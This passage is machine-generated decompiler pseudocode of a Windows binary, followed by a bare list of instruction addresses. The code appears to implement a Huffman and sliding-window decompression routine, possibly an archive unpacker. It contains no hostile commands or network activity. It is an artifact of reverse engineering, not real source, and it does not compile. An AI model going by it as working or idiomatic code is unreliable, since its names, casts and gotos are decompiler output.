																			 *((char*)(_t594 + 2)) =  *((intOrPtr*)(_t683 + 2));
																			__eflags = _t759 - 3;
																			if(_t759 > 3) {
																				_t852 =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t594 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				__eflags = _t759 - 4;
																				if(_t759 > 4) {
																					_t852 =  *((intOrPtr*)(_t683 + 4));
																					 *((char*)(_t594 + 4)) =  *((intOrPtr*)(_t683 + 4));
																					__eflags = _t759 - 5;
																					if(_t759 > 5) {
																						_t852 =  *((intOrPtr*)(_t683 + 5));
																						 *((char*)(_t594 + 5)) =  *((intOrPtr*)(_t683 + 5));
																						__eflags = _t759 - 6;
																						if(_t759 > 6) {
																							 *((char*)(_t594 + 6)) =  *((intOrPtr*)(_t683 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																	continue;
																}
																_t595 = _t593 >> 3;
																__eflags = _t595;
																_v16 = _t595;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t377 =  &_v16;
																	 *_t377 = _v16 - 1;
																	__eflags =  *_t377;
																} while ( *_t377 != 0);
																goto L146;
															}
															__eflags = _t593 - 8;
															if(_t593 < 8) {
																goto L146;
															}
															_t762 = _t593 >> 3;
															__eflags = _t762;
															_t597 = _t852;
															do {
																_a4 = _a4 - 8;
																 *_t597 =  *_t683;
																 *((char*)(_t597 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t597 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t597 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t597 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t597 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t597 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t597 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + 8;
																_t597 = _t597 + 8;
																_t762 = _t762 - 1;
																__eflags = _t762;
															} while (_t762 != 0);
															L142:
															_v12 = _t597;
															goto L146;
														}
														_t598 = E00417B97(_t936, _t852, __eflags);
														L25:
														if(_t598 != 0) {
															continue;
														} else {
															break;
														}
													}
													_t598 = E00414F0A(_t936, __eflags);
													goto L25;
												}
												_t601 =  *(_t545 + 0x430089) & 0x000000ff;
												_t695 = ( *(_t545 + 0x4300a5) & 0x000000ff) + 3;
												_v8 = _t695;
												_a4 = _t601;
												__eflags = _t601;
												if(_t601 > 0) {
													_t639 = E0040978C(_t934);
													_t809 = 0x10;
													_t642 =  *(_t934 + 4) + _a4;
													_v8 = _t695 + (_t639 >> _t809 - _a4);
													 *_t934 =  *_t934 + (_t642 >> 3);
													_t643 = _t642 & 0x00000007;
													__eflags = _t643;
													 *(_t934 + 4) = _t643;
												}
												_t602 = E0040978C(_t934);
												_t696 =  *(_t936 + 0x1004);
												_t603 = _t602 & 0x0000fffe;
												__eflags = _t603 -  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4));
												if(_t603 >=  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4))) {
													_t888 = 0xf;
													_t766 = _t696 + 1;
													__eflags = _t766 - _t888;
													if(_t766 >= _t888) {
														L107:
														_t768 =  *(_t934 + 4) + _t888;
														 *(_t934 + 4) = _t768 & 0x00000007;
														 *_t934 =  *_t934 + (_t768 >> 3);
														_t770 = 0x10;
														_t606 = (_t603 -  *((intOrPtr*)(_t936 + 0xf80 + _t888 * 4)) >> _t770 - _t888) +  *((intOrPtr*)(_t936 + 0xfc4 + _t888 * 4));
														__eflags = _t606 -  *((intOrPtr*)(_t936 + 0xf80));
														if(_t606 >=  *((intOrPtr*)(_t936 + 0xf80))) {
															_t606 = 0;
															__eflags = 0;
														}
														_t607 =  *(_t936 + 0x1c08 + _t606 * 2) & 0x0000ffff;
														goto L110;
													}
													_t700 = _t936 + 0xf84 + _t766 * 4;
													while(1) {
														__eflags = _t603 -  *_t700;
														if(_t603 <  *_t700) {
															break;
														}
														_t766 = _t766 + 1;
														_t700 = _t700 + 4;
														__eflags = _t766 - 0xf;
														if(_t766 < 0xf) {
															continue;
														}
														goto L107;
													}
													_t888 = _t766;
													goto L107;
												} else {
													_t803 = 0x10;
													_t638 = _t603 >> _t803 - _t696;
													_t806 = ( *(_t638 + _t936 + 0x1008) & 0x000000ff) +  *(_t934 + 4);
													 *_t934 =  *_t934 + (_t806 >> 3);
													 *(_t934 + 4) = _t806 & 0x00000007;
													_t607 =  *(_t936 + 0x1408 + _t638 * 2) & 0x0000ffff;
													L110:
													_t772 =  *(_t607 + 0x44f6b8) & 0x000000ff;
													_t683 =  *((intOrPtr*)(0x44f6f8 + _t607 * 4)) + 1;
													_v16 = _t683;
													_a4 = _t772;
													__eflags = _t772;
													if(_t772 <= 0) {
														L133:
														__eflags = _t683 - 0x2000;
														if(_t683 >= 0x2000) {
															_v8 = _v8 + 1;
															__eflags = _t683 - 0x40000;
															if(_t683 >= 0x40000) {
																_t281 =  &_v8;
																 *_t281 = _v8 + 1;
																__eflags =  *_t281;
															}
														}
														_t773 =  *(_t936 + 0x70);
														 *(_t936 + 0x60) =  *(_t936 + 0x5c);
														 *(_t936 + 0x5c) =  *(_t936 + 0x58);
														 *(_t936 + 0x58) =  *(_t936 + 0x54);
														_t611 = _v8;
														 *(_t936 + 0x68) = _t611;
														_a4 = _t611;
														_t613 = _t773 - _t683;
														_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
														 *(_t936 + 0x54) = _t683;
														__eflags = _t613 - _t852;
														if(_t613 >= _t852) {
															L148:
															__eflags = _v8;
															if(_v8 <= 0) {
																continue;
															}
															_t890 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t890 & _t613) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t890 =  *(_t936 + 0xe6dc);
																_t613 = _t613 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t890;
															} while (_a4 > 0);
															continue;
														} else {
															__eflags = _t773 - _t852;
															if(_t773 >= _t852) {
																goto L148;
															}
															_t893 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t893 + _t613;
															_t614 = _v8;
															_t852 = _t893 + _t773;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t773 + _t614;
															__eflags = _v16 - _t614;
															if(_v16 >= _t614) {
																__eflags = _t614 - 8;
																if(_t614 < 8) {
																	goto L146;
																}
																_t616 = _v8 >> 3;
																__eflags = _t616;
																_v16 = _t616;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t328 =  &_v16;
																	 *_t328 = _v16 - 1;
																	__eflags =  *_t328;
																} while ( *_t328 != 0);
																goto L146;
															}
															_t779 = 8;
															__eflags = _t614 - _t779;
															if(_t614 < _t779) {
																goto L146;
															}
															_t618 = _t614 >> 3;
															__eflags = _t618;
															_v16 = _t618;
															_t619 = _t852;
															do {
																_a4 = _a4 - _t779;
																 *_t619 =  *_t683;
																 *((char*)(_t619 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t619 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t619 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t619 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t619 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t619 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t619 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + _t779;
																_t619 = _t619 + _t779;
																_t318 =  &_v16;
																 *_t318 = _v16 - 1;
																__eflags =  *_t318;
															} while ( *_t318 != 0);
															goto L142;
														}
													}
													__eflags = _t607 - 9;
													if(_t607 <= 9) {
														_t620 = E0040978C(_t934);
														_t781 = 0x10;
														_t683 = _t683 + (_t620 >> _t781 - _a4);
														_t623 =  *(_t934 + 4) + _a4;
														 *_t934 =  *_t934 + (_t623 >> 3);
														_t624 = _t623 & 0x00000007;
														__eflags = _t624;
														 *(_t934 + 4) = _t624;
														L132:
														_v16 = _t683;
														goto L133;
													}
													__eflags = _t772 - 4;
													if(_t772 > 4) {
														_t634 = E0040978C(_t934);
														_t635 = _a4;
														_t798 = 0x14;
														_t636 =  *(_t934 + 4) + _t635 - 4;
														 *_t934 =  *_t934 + (_t636 >> 3);
														_t683 = _t683 + (_t634 >> _t798 - _t635 << 4);
														_t637 = _t636 & 0x00000007;
														__eflags = _t637;
														 *(_t934 + 4) = _t637;
													}
													_t625 =  *(_t936 + 0x98cc);
													__eflags = _t625;
													if(_t625 <= 0) {
														_t626 = E0040978C(_t934);
														_t901 =  *(_t936 + 0x1ef0);
														_t627 = _t626 & 0x0000fffe;
														__eflags = _t627 -  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4));
														if(_t627 >=  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4))) {
															_t902 = _t901 + 1;
															_a4 = 0xf;
															__eflags = _t902 - 0xf;
															if(_t902 >= 0xf) {
																L125:
																_t787 =  *(_t934 + 4) + _a4;
																 *_t934 =  *_t934 + (_t787 >> 3);
																_t905 = _a4;
																 *(_t934 + 4) = _t787 & 0x00000007;
																_t789 = 0x10;
																_t630 = (_t627 -  *((intOrPtr*)(_t936 + 0x1e6c + _a4 * 4)) >> _t789 - _a4) +  *((intOrPtr*)(_t936 + 0x1eb0 + _t905 * 4));
																__eflags = _t630 -  *((intOrPtr*)(_t936 + 0x1e6c));
																if(_t630 >=  *((intOrPtr*)(_t936 + 0x1e6c))) {
																	_t630 = 0;
																	__eflags = 0;
																}
																_t631 =  *(_t936 + 0x2af4 + _t630 * 2) & 0x0000ffff;
																L128:
																__eflags = _t631 - 0x10;
																if(_t631 != 0x10) {
																	_t683 = _t683 + _t631;
																	 *(_t936 + 0x98c8) = _t631;
																	goto L132;
																}
																 *(_t936 + 0x98cc) = 0xf;
																goto L116;
															}
															_t791 = _t936 + 0x1e70 + _t902 * 4;
															while(1) {
																__eflags = _t627 -  *_t791;
																if(_t627 <  *_t791) {
																	break;
																}
																_t902 = _t902 + 1;
																_t791 = _t791 + 4;
																__eflags = _t902 - 0xf;
																if(_t902 < 0xf) {
																	continue;
																}
																goto L125;
															}
															_a4 = _t902;
															goto L125;
														}
														_t792 = 0x10;
														_t632 = _t627 >> _t792 - _t901;
														_t795 = ( *(_t632 + _t936 + 0x1ef4) & 0x000000ff) +  *(_t934 + 4);
														 *_t934 =  *_t934 + (_t795 >> 3);
														 *(_t934 + 4) = _t795 & 0x00000007;
														_t631 =  *(_t936 + 0x22f4 + _t632 * 2) & 0x0000ffff;
														goto L128;
													} else {
														_t633 = _t625 - 1;
														__eflags = _t633;
														 *(_t936 + 0x98cc) = _t633;
														L116:
														_t683 = _t683 +  *(_t936 + 0x98c8);
														goto L132;
													}
												}
											}
											_t852 =  *(_t936 + 0x70);
											 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t545;
											L95:
											 *(_t936 + 0x70) =  *(_t936 + 0x70) + 1;
											continue;
										}
										_t702 = _t936 + 0x98 + _t706 * 4;
										while(1) {
											__eflags = _t541 -  *_t702;
											if(_t541 <  *_t702) {
												break;
											}
											_t706 = _t706 + 1;
											_t702 = _t702 + 4;
											__eflags = _t706 - 0xf;
											if(_t706 < 0xf) {
												continue;
											}
											goto L90;
										}
										_t852 = _t706;
										goto L90;
									}
									_t814 = 0x10;
									_t644 = _t541 >> _t814 - _t681;
									_t817 = ( *(_t644 + _t936 + 0x11c) & 0x000000ff) +  *(_t934 + 4);
									_t852 = _t817 >> 3;
									 *_t934 =  *_t934 + (_t817 >> 3);
									 *(_t934 + 4) = _t817 & 0x00000007;
									_t545 =  *(_t936 + 0x51c + _t644 * 2) & 0x0000ffff;
									goto L93;
								}
								_t683 = E00413B29(_t936 + 0x98d0);
								if(_t683 == 0xffffffff) {
									E00413A60(_t936 + 0x98d0, _t852);
									_t535 = _t936 + 0xe654;
									 *_t535 =  *(_t936 + 0xe654) & 0x00000000;
									__eflags =  *_t535;
									break;
								}
								if(_t683 !=  *((intOrPtr*)(_t936 + 0xe4bc))) {
									L81:
									 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t683;
									goto L95;
								}
								_t648 = E00413E39(_t936);
								if(_t648 != 0) {
									__eflags = _t648 - 0xffffffff;
									if(_t648 == 0xffffffff) {
										break;
									}
									__eflags = _t648 - 2;
									if(_t648 == 2) {
										break;
									}
									__eflags = _t648 - 3;
									if(__eflags != 0) {
										__eflags = _t648 - 4;
										if(_t648 != 4) {
											__eflags = _t648 - 5;
											if(_t648 != 5) {
												goto L81;
											}
											_t649 = E00413E39(_t936);
											__eflags = _t649 - 0xffffffff;
											if(_t649 == 0xffffffff) {
												break;
											}
											_a4 = _t649 + 4;
											_t651 =  *(_t936 + 0x70);
											_t852 = _t651 - 1;
											_t825 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
											__eflags = _t852 - _t825;
											if(_t852 >= _t825) {
												L77:
												__eflags = _a4;
												if(_a4 <= 0) {
													continue;
												}
												_t826 =  *(_t936 + 0xe6dc);
												do {
													_t683 =  *(_t936 + 0x70);
													_a4 = _a4 - 1;
													 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t826 & _t852) +  *((intOrPtr*)(_t936 + 0x4b34))));
													_t826 =  *(_t936 + 0xe6dc);
													_t852 = _t852 + 1;
													__eflags = _a4;
													 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t826;
												} while (_a4 > 0);
												continue;
											}
											__eflags = _t651 - _t825;
											if(_t651 >= _t825) {
												goto L77;
											}
											_t829 =  *((intOrPtr*)(_t936 + 0x4b34));
											_t683 = _t829 + _t852;
											_v8 = _t829 + _t651;
											_t831 = _a4;
											 *(_t936 + 0x70) = _t651 + _t831;
											__eflags = _t831 - 1;
											if(_t831 <= 1) {
												__eflags = _t831 - 8;
												if(_t831 < 8) {
													goto L51;
												}
												_t658 = _a4 >> 3;
												__eflags = _t658;
												_v16 = _t658;
												do {
													E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
													_v8 = _v8 + 8;
													_a4 = _a4 - 8;
													_t937 = _t937 + 0xc;
													_t683 = _t683 + 8;
													_t144 =  &_v16;
													 *_t144 = _v16 - 1;
													__eflags =  *_t144;
												} while ( *_t144 != 0);
												goto L51;
											}
											__eflags = _t831 - 8;
											if(_t831 < 8) {
												goto L51;
											}
											_t660 = _v8;
											_t832 = _t831 >> 3;
											__eflags = _t832;
											do {
												_a4 = _a4 - 8;
												 *_t660 =  *_t683;
												 *((char*)(_t660 + 1)) =  *((intOrPtr*)(_t683 + 1));
												 *((char*)(_t660 + 2)) =  *((intOrPtr*)(_t683 + 2));
												 *((char*)(_t660 + 3)) =  *((intOrPtr*)(_t683 + 3));
												 *((char*)(_t660 + 4)) =  *((intOrPtr*)(_t683 + 4));
												 *((char*)(_t660 + 5)) =  *((intOrPtr*)(_t683 + 5));
												 *((char*)(_t660 + 6)) =  *((intOrPtr*)(_t683 + 6));
												_t852 =  *((intOrPtr*)(_t683 + 7));
												 *((char*)(_t660 + 7)) =  *((intOrPtr*)(_t683 + 7));
												_t683 = _t683 + 8;
												_t660 = _t660 + 8;
												_t832 = _t832 - 1;
												__eflags = _t832;
											} while (_t832 != 0);
											goto L47;
										} else {
											_t684 = 0;
											__eflags = 0;
											_a7 = 0;
											_v16 = 0;
											while(1) {
												__eflags = _a7;
												if(_a7 != 0) {
													goto L223;
												}
												_t661 = E00413E39(_t936);
												__eflags = _t661 - 0xffffffff;
												if(_t661 != 0xffffffff) {
													__eflags = _v16 - 3;
													_t662 = _t661 & 0x000000ff;
													if(_v16 != 3) {
														_t684 = (_t684 << 8) + _t662;
														__eflags = _t684;
													} else {
														_v20 = _t662;
													}
												} else {
													_a7 = 1;
												}
												_v16 = _v16 + 1;
												__eflags = _v16 - 4;
												if(_v16 < 4) {
													continue;
												} else {
													__eflags = _a7;
													if(_a7 != 0) {
														goto L223;
													}
													_t834 =  *(_t936 + 0x70);
													_t49 = _t684 + 2; // 0x2
													_t921 = _t49;
													_a4 = _v20 + 0x20;
													_t666 = _t834 - _t921;
													_v16 = _t921;
													_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
													__eflags = _t666 - _t852;
													if(_t666 >= _t852) {
														L60:
														__eflags = _a4;
														if(_a4 > 0) {
															_t923 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t923 & _t666) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t923 =  *(_t936 + 0xe6dc);
																_t666 = _t666 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t923;
															} while (_a4 > 0);
														}
														goto L12;
													}
													__eflags = _t834 - _t852;
													if(_t834 >= _t852) {
														goto L60;
													}
													_t926 =  *((intOrPtr*)(_t936 + 0x4b34));
													_t683 = _t926 + _t666;
													_t667 = _a4;
													_t852 = _t926 + _t834;
													_v8 = _t852;
													 *(_t936 + 0x70) = _t834 + _t667;
													__eflags = _v16 - _t667;
													if(_v16 >= _t667) {
														__eflags = _t667 - 8;
														if(_t667 < 8) {
															L51:
															_t759 = _a4;
															__eflags = _t759;
															if(_t759 <= 0) {
																goto L12;
															} else {
																_t594 = _v8;
																goto L53;
															}
														} else {
															_t669 = _a4 >> 3;
															__eflags = _t669;
															_v16 = _t669;
															do {
																E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																_v8 = _v8 + 8;
																_a4 = _a4 - 8;
																_t937 = _t937 + 0xc;
																_t683 = _t683 + 8;
																_t83 =  &_v16;
																 *_t83 = _v16 - 1;
																__eflags =  *_t83;
															} while ( *_t83 != 0);
															goto L51;
														}
													}
													__eflags = _t667 - 8;
													if(_t667 >= 8) {
														_t841 = _t667 >> 3;
														__eflags = _t841;
														_t671 = _t852;
														do {
															_a4 = _a4 - 8;
															 *_t671 =  *_t683;
															 *((char*)(_t671 + 1)) =  *((intOrPtr*)(_t683 + 1));
															 *((char*)(_t671 + 2)) =  *((intOrPtr*)(_t683 + 2));
															 *((char*)(_t671 + 3)) =  *((intOrPtr*)(_t683 + 3));
															 *((char*)(_t671 + 4)) =  *((intOrPtr*)(_t683 + 4));
															 *((char*)(_t671 + 5)) =  *((intOrPtr*)(_t683 + 5));
															 *((char*)(_t671 + 6)) =  *((intOrPtr*)(_t683 + 6));
															_t852 =  *((intOrPtr*)(_t683 + 7));
															 *((char*)(_t671 + 7)) =  *((intOrPtr*)(_t683 + 7));
															_t683 = _t683 + 8;
															_t671 = _t671 + 8;
															_t841 = _t841 - 1;
															__eflags = _t841;
														} while (_t841 != 0);
														L47:
														_v8 = _t660;
													}
													goto L51;
												}
											}
											break;
										}
									} else {
										_t598 = E00417CA7(_t936, _t852, __eflags);
										goto L25;
									}
								} else {
									_t598 = E00413EE3(_t936, _t852);
									goto L25;
								}
							} else {
								E00414F83(_t936);
								_t673 =  *((intOrPtr*)(_t936 + 0x4c54));
								_t953 = _t673 -  *((intOrPtr*)(_t936 + 0x4c44));
								if(_t953 > 0) {
									L224:
									return _t673;
								}
								if(_t953 < 0) {
									L19:
									if( *((char*)(_t936 + 0x4c48)) != 0) {
										 *((char*)(_t936 + 0x4c58)) = 0;
										return _t673;
									}
									goto L20;
								}
								_t673 =  *((intOrPtr*)(_t936 + 0x4c50));
								if(_t673 >  *((intOrPtr*)(_t936 + 0x4c40))) {
									goto L224;
								}
								goto L19;
							}
						}
						L223:
						return E00414F83(_t936);
					}
					E004157DB(_t936, _a4);
					_t673 = E0041236D(_t680, _t936, _t849);
					if(_t673 == 0) {
						goto L224;
					}
					if(_a4 == 0 ||  *((char*)(_t936 + 0xe658)) == 0) {
						_t673 = E00413EE3(_t936, _t849);
						if(_t673 == 0) {
							goto L224;
						}
					}
					goto L11;
				} else {
					_v12 = 0;
					_t935 = 0;
					do {
						_t852 =  *(0x4301d0 + _t680 * 4);
						if(_t852 > 0) {
							_t4 = _t935 + 0x44f6b8; // 0x44f6b8
							_v16 = 1;
							_v16 = _v16 << _t680;
							_v8 = _t852;
							E0041A820(_t935, _t4, _t680, _t852);
							_t937 = _t937 + 0xc;
							do {
								_t678 = _v12;
								 *((intOrPtr*)(0x44f6f8 + _t935 * 4)) = _t678;
								_t935 = _t935 + 1;
								_t13 =  &_v8;
								 *_t13 = _v8 - 1;
								_v12 = _t678 + _v16;
							} while ( *_t13 != 0);
						}
						_t680 = _t680 + 1;
					} while (_t680 < 0x13);
					goto L6;
				}
			}

0x00417d80
0x00417d83
0x00417d85
0x00417d8b
0x00417dd9
0x00417de0
0x00417de7
0x00417e20
0x00417e20
0x00417e23
0x00417e23
0x00417e29
0x00417e31
0x00000000
0x00000000
0x00417e42
0x00417e45
0x00417e4c
0x00417e58
0x00417e98
0x00417e9f
0x00418200
0x00418205
0x0041820b
0x00418210
0x00418217
0x00418244
0x00418245
0x00418248
0x0041824a
0x00418264
0x00418267
0x0041826e
0x00418271
0x00418274
0x0041827f
0x00418284
0x0041828b
0x00418291
0x00418293
0x00418293
0x00418293
0x00418295
0x0041829d
0x004182a2
0x004182a4
0x004182ba
0x004182bf
0x00418648
0x0041864a
0x00418658
0x0041865d
0x0041866b
0x00418670
0x00418786
0x0041878b
0x004189ff
0x00418a04
0x00000000
0x00000000
0x00418a16
0x00418a1d
0x00418a1e
0x00418a21
0x00418a23
0x00418a27
0x00418a2e
0x00418a34
0x00418a39
0x00418a41
0x00418a43
0x00418a43
0x00418a46
0x00418a46
0x00418a4c
0x00418a55
0x00418a5b
0x00418a61
0x00418a66
0x00418a67
0x00418a6a
0x00418a6f
0x00418a71
0x00418a77
0x00418a7a
0x00418a7c
0x00418aa1
0x00418aa1
0x00418aa7
0x00418aad
0x00418ab0
0x00418ab8
0x00418abe
0x00418ac4
0x00418ac8
0x00418acc
0x00418acc
0x00418a7e
0x00418a7e
0x00418a80
0x00000000
0x00000000
0x00418a82
0x00418a88
0x00418a8a
0x00418a8f
0x00418a94
0x00418a99
0x00418a99
0x00000000
0x00418a7c
0x00418791
0x00418796
0x0041879a
0x0041879c
0x004187aa
0x004187aa
0x004187ac
0x00000000
0x00000000
0x004187a4
0x004187a6
0x004187a7
0x004187a7
0x004187a7
0x004187b0
0x004187b3
0x004187b8
0x004187be
0x004187c3
0x004187ca
0x004187f7
0x004187f8
0x004187f9
0x004187fb
0x00418815
0x00418818
0x0041881f
0x00418825
0x00418830
0x00418835
0x0041883c
0x00418842
0x00418844
0x00418844
0x00418844
0x00418846
0x0041884e
0x00418855
0x0041885d
0x0041885e
0x00418861
0x00418864
0x00418866
0x0041886a
0x00418871
0x00418877
0x0041887c
0x0041887f
0x00418887
0x00418889
0x00418889
0x0041888c
0x0041888c
0x0041888f
0x0041889a
0x0041889d
0x004188a3
0x004188a6
0x004188a9
0x004188ab
0x004189c2
0x004189c2
0x004189c4
0x00000000
0x00000000
0x004189ca
0x004189d0
0x004189d6
0x004189d9
0x004189e1
0x004189e7
0x004189ed
0x004189f1
0x004189f5
0x004189f5
0x00000000
0x004188b1
0x004188b1
0x004188b3
0x00000000
0x00000000
0x004188b9
0x004188bf
0x004188c2
0x004188c5
0x004188c9
0x004188cc
0x004188cf
0x004188d2
0x00418920
0x00418923
0x0041894c
0x0041894c
0x00418950
0x00418956
0x0041895c
0x0041895f
0x00418961
0x00418967
0x0041896e
0x00418971
0x00418977
0x0041897e
0x00418981
0x00418987
0x0041898e
0x00418991
0x00418997
0x0041899e
0x004189a1
0x004189a7
0x004189ae
0x004189b1
0x004189ba
0x004189ba
0x004189b1
0x004189a1
0x00418991
0x00418981
0x00418971
0x00418961
0x00000000
0x00418950
0x00418928
0x00418928
0x0041892b
0x0041892e
0x00418934
0x00418939
0x0041893d
0x00418941
0x00418944
0x00418947
0x00418947
0x00418947
0x00418947
0x00000000
0x0041892e
0x004188d4
0x004188d7
0x00000000
0x00000000
0x004188d9
0x004188d9
0x004188dc
0x004188de
0x004188e0
0x004188e2
0x004188e6
0x004188eb
0x004188f1
0x004188f7
0x004188fd
0x00418903
0x00418909
0x0041890c
0x0041890f
0x00418912
0x00418915
0x00418918
0x00418918
0x00418918
0x0041891b
0x00000000
0x0041891b
0x004188ab
0x004187fd
0x00418804
0x00418804
0x00418806
0x00000000
0x00000000
0x00418808
0x00418809
0x0041880c
0x0041880f
0x00000000
0x00000000
0x00000000
0x00418811
0x00418813
0x00000000
0x00418813
0x004187ce
0x004187d1
0x004187db
0x004187e3
0x004187e8
0x004187eb
0x00000000
0x004187eb
0x00418676
0x00418679
0x0041867b
0x00000000
0x00000000
0x00418681
0x00418687
0x0041868c
0x00418694
0x0041869a
0x0041869c
0x00418747
0x00418747
0x0041874b
0x00000000
0x00000000
0x00418751
0x00418757
0x0041875d
0x00418760
0x00418768
0x0041876e
0x00418774
0x00418778
0x0041877c
0x0041877c
0x00000000
0x00418781
0x004186a2
0x004186a4
0x00000000
0x00000000
0x004186aa
0x004186b0
0x004186b3
0x004186b6
0x004186ba
0x004186bd
0x004186c0
0x004186c3
0x00418715
0x00418718
0x004185f6
0x004185f6
0x004185f9
0x004185fb
0x00000000
0x00000000
0x00418601
0x0041802c
0x0041802c
0x0041802e
0x00418030
0x00418033
0x00418039
0x0041803c
0x0041803f
0x00418042
0x00418048
0x0041804b
0x0041804e
0x00418051
0x00418057
0x0041805a
0x0041805d
0x00418060
0x00418066
0x00418069
0x0041806c
0x0041806f
0x00418075
0x00418078
0x0041807b
0x0041807e
0x00418087
0x00418087
0x0041807e
0x0041806f
0x00418060
0x00418051
0x00418042
0x00000000
0x00418033
0x0041871e
0x0041871e
0x00418721
0x00418724
0x0041872a
0x0041872f
0x00418733
0x00418737
0x0041873a
0x0041873d
0x0041873d
0x0041873d
0x0041873d
0x00000000
0x00418742
0x004186c5
0x004186c8
0x00000000
0x00000000
0x004186d0
0x004186d0
0x004186d3
0x004186d5
0x004186d7
0x004186db
0x004186e0
0x004186e6
0x004186ec
0x004186f2
0x004186f8
0x004186fe
0x00418701
0x00418704
0x00418707
0x0041870a
0x0041870d
0x0041870d
0x0041870d
0x004185c5
0x004185c5
0x00000000
0x004185c5
0x00418661
0x00417ed9
0x00417edb
0x00000000
0x00417ee1
0x00000000
0x00417ee1
0x00417edb
0x0041864e
0x00000000
0x0041864e
0x004182d1
0x004182d8
0x004182db
0x004182de
0x004182e1
0x004182e3
0x004182e7
0x004182ee
0x004182f9
0x004182fc
0x00418304
0x00418306
0x00418306
0x00418309
0x00418309
0x0041830e
0x00418313
0x00418319
0x0041831e
0x00418325
0x00418352
0x00418353
0x00418356
0x00418358
0x00418372
0x00418375
0x0041837c
0x00418382
0x0041838d
0x00418392
0x00418399
0x0041839f
0x004183a1
0x004183a1
0x004183a1
0x004183a3
0x00000000
0x004183a3
0x0041835a
0x00418361
0x00418361
0x00418363
0x00000000
0x00000000
0x00418365
0x00418366
0x00418369
0x0041836c
0x00000000
0x00000000
0x00000000
0x0041836e
0x00418370
0x00000000
0x00418327
0x00418329
0x0041832c
0x00418336
0x0041833e
0x00418343
0x00418346
0x004183ab
0x004183ab
0x004183b9
0x004183ba
0x004183bd
0x004183c0
0x004183c2
0x0041850a
0x0041850a
0x00418510
0x00418512
0x00418515
0x0041851b
0x0041851d
0x0041851d
0x0041851d
0x0041851d
0x0041851b
0x00418523
0x0041852c
0x00418532
0x00418538
0x0041853b
0x0041853e
0x00418541
0x00418546
0x00418548
0x0041854e
0x00418551
0x00418553
0x00418609
0x00418609
0x0041860d
0x00000000
0x00000000
0x00418613
0x00418619
0x0041861f
0x00418622
0x0041862a
0x00418630
0x00418636
0x0041863a
0x0041863e
0x0041863e
0x00000000
0x00418559
0x00418559
0x0041855b
0x00000000
0x00000000
0x00418561
0x00418567
0x0041856a
0x0041856d
0x00418571
0x00418574
0x00418577
0x0041857a
0x004185ca
0x004185cd
0x00000000
0x00000000
0x004185d2
0x004185d2
0x004185d5
0x004185d8
0x004185de
0x004185e3
0x004185e7
0x004185eb
0x004185ee
0x004185f1
0x004185f1
0x004185f1
0x004185f1
0x00000000
0x004185d8
0x0041857e
0x0041857f
0x00418581
0x00000000
0x00000000
0x00418583
0x00418583
0x00418586
0x00418589
0x0041858b
0x0041858d
0x00418590
0x00418595
0x0041859b
0x004185a1
0x004185a7
0x004185ad
0x004185b3
0x004185b6
0x004185b9
0x004185bc
0x004185be
0x004185c0
0x004185c0
0x004185c0
0x004185c0
0x00000000
0x0041858b
0x00418553
0x004183c8
0x004183cb
0x004184e5
0x004184ec
0x004184f2
0x004184f7
0x004184ff
0x00418501
0x00418501
0x00418504
0x00418507
0x00418507
0x00000000
0x00418507
0x004183d1
0x004183d4
0x004183d8
0x004183df
0x004183e4
0x004183ec
0x004183f8
0x004183fa
0x004183fc
0x004183fc
